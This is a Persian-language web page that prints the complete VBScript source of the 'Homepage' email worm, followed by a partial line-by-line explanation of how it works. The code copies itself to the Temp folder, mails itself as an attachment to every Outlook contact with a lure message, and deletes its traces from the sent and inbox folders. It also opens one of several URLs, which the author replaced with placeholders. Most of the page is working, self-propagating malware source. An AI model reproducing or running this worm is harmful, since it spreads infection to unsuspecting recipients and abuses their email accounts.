|
ويروس
Homepage
اين ويروس که کدشو براتون می ذارم به زبان بيسيک نوشته شده و باز هم از
امنيت پايين VBS
استفاده شده
است
On Error Resume
Next
Set WS =
CreateObject("WScript.Shell")
Set FSO=
Createobject("scripting.filesystemobject")
Folder=FSO.GetSpecialFolder(2)
Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1)
Do While
InF.AtEndOfStream<>True
ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf
Loop
Set
OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true)
OutF.write
ScriptBuffer
OutF.close
Set FSO=Nothing
If WS.regread ("HKCU\software\An\mailed")
<> "1" then
Mailit()
End If
Set s=CreateObject("Outlook.Application")
Set t=s.GetNameSpace("MAPI")
Set u=t.GetDefaultFolder(6)
For i=1 to
u.items.count
If u.Items.Item(i).subject="Homepage"
Then
u.Items.Item(i).close
u.Items.Item(i).delete
End If
Next
Set
u=t.GetDefaultFolder(3)
For i=1 to u.items.count
If
u.Items.Item(i).subject="Homepage" Then
u.Items.Item(i).delete
End If
Next
Randomize
r=Int((4*Rnd)+1)
If r=1 then
WS.Run("URL1")
elseif r=2 Then
WS.Run("URL2")
elseif r=3 Then
WS.Run("URL3")
ElseIf r=4 Then
WS.Run("URL4")
End If
Function Mailit()
On Error Resume Next
Set Outlook =
CreateObject("Outlook.Application")
If Outlook = "Outlook" Then
Set Mapi=Outlook.GetNameSpace("MAPI")
Set Lists=Mapi.AddressLists
For Each ListIndex In
Lists
If ListIndex.AddressEntries.Count
<> 0 Then
ContactCount = ListIndex.AddressEntries.Count
For Count= 1 To
ContactCount
Set Mail = Outlook.CreateItem(0)
Set Contact =
ListIndex.AddressEntries(Count)
Mail.To = Contact.Address
Mail.Subject = "Homepage"
Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've
got to see this page!It's really cool ;O)"&vbcrlf&vbcrlf
Set Attachment=Mail.Attachments
Attachment.Add Folder
& "\homepage.HTML.vbs"
Mail.DeleteAfterSubmit = True
If Mail.To <> ""
Then
Mail.Send
WS.regwrite "HKCU\software\An\mailed", "1"
End If
Next
End If
Next
End if
End Function
اين
ويروس حدودا 70 خطی به کمک
outlook خودش رو پخش ميکنه
اما نحوه ی کارش بصورت زيراست:
خط اول به بيسيک ميگه که اگر هر خطايی پيش اومد بيسيک از خطا چشمپوشی
کنه و به دستور بعدی برای اجرا پرش کنه وجود اين خط لازمه
چرا که اگر خطايی جزئی در اجرای اسکريپت ما پيش بيايد در صورتی که اين
خط وجود نداشته باشد اجرای ان متوقف شده و با شکست روبرو ميشود البته
درسته که اگر کد ما با خطای جدی مواجه بشه باز هم در نهايت شکست ميخورد
اما وجود اين خط حداقل تضمين ميکند که اسکريپت ما در موارد عادی متوقف
نميش
ود خط دوم شئ Shell
رو ميسازه و به متغير WS
نسبت ميده خط بعد هم شئ FileSystemObject
و به متغير FSO نسبت
ميده شئ
FileSystemObject
دارای متدی بنام GetSpecialFolder
هست که بکمک اون ميتونيم ادرس پوشه های خاص رو بدست بياريم
FSO.GetSpecialFolder(0) - - >
Windows Directory
FSO.GetSpecialFolder(1)
- - > System Directory
FSO.GetSpecialFolder(2)
- - > Temp Directory
همانطور که ميبينيد نويسنده سعی کرده ادرس پوشه ی
Temp رو از اين طريق
بدست بياره سپس سعی ميکنه که ادرس اسکريپت رو که در حال حاضر روی سيستم
در حال اجراست بدست بياره و از طريق متد
OpenTextFile
از شئ FSO اون رو
باز کنه سپس توسط يک حلقه محتويات اين فايل رو داخل
ScriptBuffer ميريزه و سپس
اين بافر رو در فايلی در پوشه ی Temp
ذخيره ميکنه
تذکر:
قسمتهايی از ويروس فوق که شامل
URL
هست رو من تغيير دادم در ويروس اصلی اين قسمتها کاربر رو بطور ناخواسته
به سايتهای غيراخلاقی هدايت ميکرد
|